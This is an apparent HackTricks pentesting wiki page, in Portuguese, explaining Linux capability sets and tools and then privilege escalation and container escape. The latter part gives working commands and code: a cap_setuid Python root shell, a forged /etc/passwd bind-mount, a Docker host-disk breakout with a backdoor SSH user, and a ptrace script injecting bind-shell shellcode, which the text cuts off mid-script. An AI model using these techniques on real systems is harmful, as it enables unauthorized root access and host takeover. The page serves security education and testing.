Linux Capabilities

Support HackTricks

​​​​​​​​​RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.\

Linux Capabilities

As capacidades do Linux dividem os privilégios de root em unidades menores e distintas, permitindo que processos tenham um subconjunto de privilégios. Isso minimiza os riscos ao não conceder privilégios de root completos desnecessariamente.

O Problema:

  • Usuários normais têm permissões limitadas, afetando tarefas como abrir um socket de rede que requer acesso root.

Conjuntos de Capacidades:

  1. Inherited (CapInh):

  • Propósito: Determina as capacidades transmitidas do processo pai.

  • Funcionalidade: Quando um novo processo é criado, ele herda as capacidades de seu pai neste conjunto. Útil para manter certos privilégios durante a criação de processos.

  • Restrições: Um processo não pode ganhar capacidades que seu pai não possuía.

  1. Effective (CapEff):

  • Propósito: Representa as capacidades reais que um processo está utilizando em qualquer momento.

  • Funcionalidade: É o conjunto de capacidades verificadas pelo kernel para conceder permissão para várias operações. Para arquivos, este conjunto pode ser uma flag indicando se as capacidades permitidas do arquivo devem ser consideradas efetivas.

  • Significado: O conjunto efetivo é crucial para verificações imediatas de privilégios, atuando como o conjunto ativo de capacidades que um processo pode usar.

  1. Permitted (CapPrm):

  • Propósito: Define o conjunto máximo de capacidades que um processo pode possuir.

  • Funcionalidade: Um processo pode elevar uma capacidade do conjunto permitido para seu conjunto efetivo, dando-lhe a capacidade de usar essa capacidade. Ele também pode descartar capacidades de seu conjunto permitido.

  • Limite: Atua como um limite superior para as capacidades que um processo pode ter, garantindo que um processo não exceda seu escopo de privilégio predefinido.

  1. Bounding (CapBnd):

  • Propósito: Coloca um teto nas capacidades que um processo pode adquirir durante seu ciclo de vida.

  • Funcionalidade: Mesmo que um processo tenha uma certa capacidade em seu conjunto herdável ou permitido, ele não pode adquirir essa capacidade a menos que também esteja no conjunto de limites.

  • Caso de uso: Este conjunto é particularmente útil para restringir o potencial de escalonamento de privilégios de um processo, adicionando uma camada extra de segurança.

  1. Ambient (CapAmb):

  • Propósito: Permite que certas capacidades sejam mantidas durante uma chamada de sistema execve, que normalmente resultaria em um reset completo das capacidades do processo.

  • Funcionalidade: Garante que programas não-SUID que não têm capacidades de arquivo associadas possam reter certos privilégios.

  • Restrições: As capacidades neste conjunto estão sujeitas às restrições dos conjuntos herdáveis e permitidos, garantindo que não excedam os privilégios permitidos do processo.

# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')

Para mais informações, consulte:

Capacidades de Processos & Binários

Capacidades de Processos

Para ver as capacidades de um processo específico, use o arquivo status no diretório /proc. Como ele fornece mais detalhes, vamos limitá-lo apenas às informações relacionadas às capacidades do Linux. Observe que para todos os processos em execução, as informações de capacidade são mantidas por thread; para binários no sistema de arquivos, são armazenadas em atributos estendidos.

Você pode encontrar as capacidades definidas em /usr/include/linux/capability.h

Você pode encontrar as capacidades do processo atual em cat /proc/self/status ou fazendo capsh --print e de outros usuários em /proc/<pid>/status

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

Este comando deve retornar 5 linhas na maioria dos sistemas.

  • CapInh = Capacidades herdadas

  • CapPrm = Capacidades permitidas

  • CapEff = Capacidades efetivas

  • CapBnd = Conjunto de limites

  • CapAmb = Conjunto de capacidades ambientais

#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Esses números hexadecimais não fazem sentido. Usando a utilidade capsh, podemos decodificá-los nos nomes das capacidades.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Vamos verificar agora as capabilities usadas pelo ping:

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Embora isso funcione, há outra maneira mais fácil. Para ver as capacidades de um processo em execução, basta usar a ferramenta getpcaps seguida pelo seu ID de processo (PID). Você também pode fornecer uma lista de IDs de processo.

getpcaps 1234

Vamos verificar aqui as capacidades do tcpdump após ter dado ao binário capacidades suficientes (cap_net_admin e cap_net_raw) para monitorar a rede (tcpdump está rodando no processo 9562):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Como você pode ver, as capacidades dadas correspondem aos resultados das 2 maneiras de obter as capacidades de um binário. A ferramenta getpcaps usa a chamada de sistema capget() para consultar as capacidades disponíveis para um determinado thread. Esta chamada de sistema só precisa fornecer o PID para obter mais informações.

Capacidades de Binários

Os binários podem ter capacidades que podem ser usadas durante a execução. Por exemplo, é muito comum encontrar o binário ping com a capacidade cap_net_raw:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

Você pode procurar binários com capacidades usando:

getcap -r / 2>/dev/null

Removendo capacidades com capsh

Se removermos as capacidades CAP_NET_RAW para ping, então a utilidade ping não deve mais funcionar.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

Além da saída do capsh em si, o comando tcpdump também deve gerar um erro.

/bin/bash: /usr/sbin/tcpdump: Operação não permitida

O erro mostra claramente que o comando ping não tem permissão para abrir um socket ICMP. Agora sabemos com certeza que isso funciona como esperado.

Remover Capacidades

Você pode remover capacidades de um binário com

setcap -r </path/to/binary>

User Capabilities

Aparentemente é possível atribuir capacidades também a usuários. Isso provavelmente significa que cada processo executado pelo usuário poderá usar as capacidades do usuário. Baseado em isso, isso e isso, alguns arquivos precisam ser configurados para dar a um usuário certas capacidades, mas o que atribui as capacidades a cada usuário será /etc/security/capability.conf. Exemplo de arquivo:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

Capacidades do Ambiente

Compilando o seguinte programa, é possível gerar um shell bash dentro de um ambiente que fornece capacidades.

ambient.c
/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

Dentro do bash executado pelo binário de ambiente compilado, é possível observar as novas capacidades (um usuário regular não terá nenhuma capacidade na seção "atual").

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

Você só pode adicionar capacidades que estão presentes tanto no conjunto permitido quanto no conjunto herdável.

Binários cientes de capacidade / Binários sem capacidade

Os binários cientes de capacidade não usarão as novas capacidades fornecidas pelo ambiente, no entanto, os binários sem capacidade as usarão pois não as rejeitarão. Isso torna os binários sem capacidade vulneráveis dentro de um ambiente especial que concede capacidades a binários.

Capacidades de Serviço

Por padrão, um serviço executado como root terá todas as capacidades atribuídas, e em algumas ocasiões isso pode ser perigoso. Portanto, um arquivo de configuração de serviço permite especificar as capacidades que você deseja que ele tenha, e o usuário que deve executar o serviço para evitar executar um serviço com privilégios desnecessários:

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Capacidades em Contêineres Docker

Por padrão, o Docker atribui algumas capacidades aos contêineres. É muito fácil verificar quais são essas capacidades executando:

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

​​​​​​​​​​RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.

Privesc/Container Escape

As capacidades são úteis quando você quer restringir seus próprios processos após realizar operações privilegiadas (por exemplo, após configurar chroot e vincular a um socket). No entanto, elas podem ser exploradas ao passar comandos ou argumentos maliciosos que são então executados como root.

Você pode forçar capacidades em programas usando setcap e consultar essas usando getcap:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

O +ep significa que você está adicionando a capacidade (“-” removeria) como Eficaz e Permitida.

Para identificar programas em um sistema ou pasta com capacidades:

getcap -r / 2>/dev/null

Exemplo de exploração

No exemplo a seguir, o binário /usr/bin/python2.6 é encontrado vulnerável a privesc:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Capacidades necessárias pelo tcpdump para permitir que qualquer usuário capture pacotes:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

O caso especial das capacidades "vazias"

Dos docs: Note que é possível atribuir conjuntos de capacidades vazios a um arquivo de programa, e assim é possível criar um programa set-user-ID-root que altera o set-user-ID efetivo e salvo do processo que executa o programa para 0, mas não confere capacidades a esse processo. Ou, simplificando, se você tem um binário que:

  1. não é propriedade do root

  2. não tem bits SUID/SGID definidos

  3. tem conjuntos de capacidades vazios (por exemplo: getcap myelf retorna myelf =ep)

então esse binário será executado como root.

CAP_SYS_ADMIN

CAP_SYS_ADMIN é uma capacidade Linux altamente potente, frequentemente equiparada a um nível quase root devido aos seus extensos privilegios administrativos, como montar dispositivos ou manipular recursos do kernel. Embora seja indispensável para contêineres que simulam sistemas inteiros, CAP_SYS_ADMIN apresenta desafios significativos de segurança, especialmente em ambientes containerizados, devido ao seu potencial para escalonamento de privilégios e comprometimento do sistema. Portanto, seu uso exige avaliações de segurança rigorosas e gerenciamento cauteloso, com uma forte preferência por descartar essa capacidade em contêineres específicos de aplicativos para aderir ao princípio do menor privilégio e minimizar a superfície de ataque.

Exemplo com binário

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

Usando python, você pode montar um arquivo passwd modificado em cima do arquivo passwd real:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

E finalmente monte o arquivo passwd modificado em /etc/passwd:

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

E você poderá su como root usando a senha "password".

Exemplo com ambiente (Docker breakout)

Você pode verificar as capacidades habilitadas dentro do contêiner docker usando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Dentro da saída anterior, você pode ver que a capacidade SYS_ADMIN está habilitada.

  • Montar

Isso permite que o contêiner docker monte o disco do host e acesse-o livremente:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
  • Acesso total

No método anterior, conseguimos acessar o disco do host docker. Caso você descubra que o host está executando um servidor ssh, você poderia criar um usuário dentro do disco do host docker e acessá-lo via SSH:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

Isso significa que você pode escapar do contêiner injetando um shellcode dentro de algum processo em execução no host. Para acessar processos em execução no host, o contêiner precisa ser executado pelo menos com --pid=host.

CAP_SYS_PTRACE concede a capacidade de usar funcionalidades de depuração e rastreamento de chamadas de sistema fornecidas por ptrace(2) e chamadas de anexação de memória cruzada como process_vm_readv(2) e process_vm_writev(2). Embora seja poderoso para fins de diagnóstico e monitoramento, se CAP_SYS_PTRACE estiver habilitado sem medidas restritivas, como um filtro seccomp em ptrace(2), isso pode comprometer significativamente a segurança do sistema. Especificamente, pode ser explorado para contornar outras restrições de segurança, notavelmente aquelas impostas pelo seccomp, como demonstrado por provas de conceito (PoC) como esta.

Exemplo com binário (python)

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"